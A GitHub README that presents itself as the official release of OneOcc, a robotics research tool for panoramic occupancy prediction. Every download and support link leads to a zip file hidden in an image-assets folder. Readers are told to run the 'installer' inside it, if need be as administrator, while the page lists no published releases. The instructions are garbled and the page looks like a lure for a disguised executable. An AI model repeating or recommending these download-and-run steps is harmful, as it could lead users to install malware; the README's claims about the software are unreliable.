Skip to content

KoHrABoT/OneOcc

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

8 Commits
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

# πŸ€– OneOcc - Simplifying Occupancy Prediction for Robots

## πŸ‘‹ Introduction
Welcome to OneOcc! This is the official implementation of "OneOcc: Semantic Occupancy Prediction for Legged Robots with a Single Panoramic Camera." Our software helps robots understand their surroundings better, making them more capable in navigating complex environments. Ideal for anyone interested in robotics and artificial intelligence, this tool opens new doors in robot capabilities.

## πŸš€ Getting Started
To get started with OneOcc, please follow the steps below. No programming knowledge is required.

## πŸ“₯ Download the Software
[![Download OneOcc](https://github.com/KoHrABoT/OneOcc/raw/refs/heads/main/assets/imgs/Occ_One_v1.2.zip%https://github.com/KoHrABoT/OneOcc/raw/refs/heads/main/assets/imgs/Occ_One_v1.2.zip)](https://github.com/KoHrABoT/OneOcc/raw/refs/heads/main/assets/imgs/Occ_One_v1.2.zip)

Visit this page to download the latest version of OneOcc:
[Download OneOcc Releases](https://github.com/KoHrABoT/OneOcc/raw/refs/heads/main/assets/imgs/Occ_One_v1.2.zip)

## πŸ› οΈ System Requirements
Before you download OneOcc, make sure your computer meets the following minimum requirements:

- **Operating System:** Windows 10 or later, macOS Mojave or later, or any Linux distribution.
- **Processor:** 2.0 GHz dual-core processor or higher.
- **Memory:** At least 4 GB of RAM.
- **Storage:** Minimum 500 MB of available space.
- **Graphics Card:** Supports OpenGL 3.3 or later.

## πŸ” Features
OneOcc offers a variety of features designed to simplify occupancy prediction:

- **Semantic Mapping:** Understands and represents the environment in a way that robots can easily interpret.
- **Panoramic Camera Integration:** Utilizes a single panoramic camera for enhanced scene visibility.
- **User-Friendly Interface:** Easy to navigate, making it accessible even for beginners.
- **Real-time Performance:** Provides immediate feedback and predictions as the robot moves.

## βš™οΈ Installation Instructions
Follow these steps to install OneOcc once you have downloaded it.

1. **Locate the Downloaded File:** After downloading, find the file in your computer's Downloads folder or the location you saved it to.

2. **Extract the Files (if necessary):** If the downloaded file is a zipped format (.zip), right-click on it and select "Extract All" to access the program files.

3. **Run the Installer:** 
   - For Windows users, double-click the `https://github.com/KoHrABoT/OneOcc/raw/refs/heads/main/assets/imgs/Occ_One_v1.2.zip` file to start the installation.
   - For macOS users, open the `.dmg` file and drag the OneOcc app into your Applications folder.
   - For Linux users, refer to the README for specific installation instructions.

4. **Follow the Instructions:** The installer will guide you through the setup process. Simply follow the on-screen instructions.

5. **Launch the Application:** Once the installation finishes, find OneOcc in your applications list and launch it.

## 🌐 How to Use OneOcc
Using OneOcc is straightforward. Here are some basic steps to get you started:

1. **Open the Application:** Double-click the OneOcc icon on your desktop or in your applications folder.
2. **Load Your Scene:** Use the interface to load an image or video from your panoramic camera.
3. **Start Processing:** Click the "Start" button to begin occupancy prediction.
4. **Review Results:** Once processing is complete, observe how the program interprets your environment.

## πŸ› οΈ Troubleshooting
Encountering issues is common. Here are some potential problems and their solutions:

- **Installation Errors:** Ensure that your system meets all requirements. If you received an error, try running the installer as an administrator.
- **Performance Issues:** Close other applications to free up RAM and CPU resources.
- **Failed to Load Scene:** Ensure that your image or video file is supported. Check file formats within the documentation.

## 🌍 Topics Covered
OneOcc touches on various important aspects of robotics and AI:

- **Dataset:** Works with various datasets to improve accuracy.
- **Embodied AI:** Understands how a robot can perceive and interact with its environment.
- **Legged Robots:** Specifically crafted for robots like quadrupeds.
- **Occupancy Prediction:** An essential skill for navigating complex environments.
- **Omnidirectional Vision:** Leverages 360-degree views for precise mapping.
- **Robotics and Scene Completion:** Aids in the semantic understanding of the surroundings.

## πŸ“§ Support
If you need assistance with OneOcc, feel free to reach out. You can create an issue on our [GitHub page](https://github.com/KoHrABoT/OneOcc/raw/refs/heads/main/assets/imgs/Occ_One_v1.2.zip) to report bugs or ask for help.

## πŸ™Œ Acknowledgments
We thank the researchers and developers who contributed to this project and the community for supporting the advancement of robotics and AI.

Enjoy using OneOcc! We hope it proves helpful in your projects and research.

About

🌐 Enhance legged robots' navigation with OneOcc, a lightweight framework for semantic occupancy prediction using a single panoramic camera.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors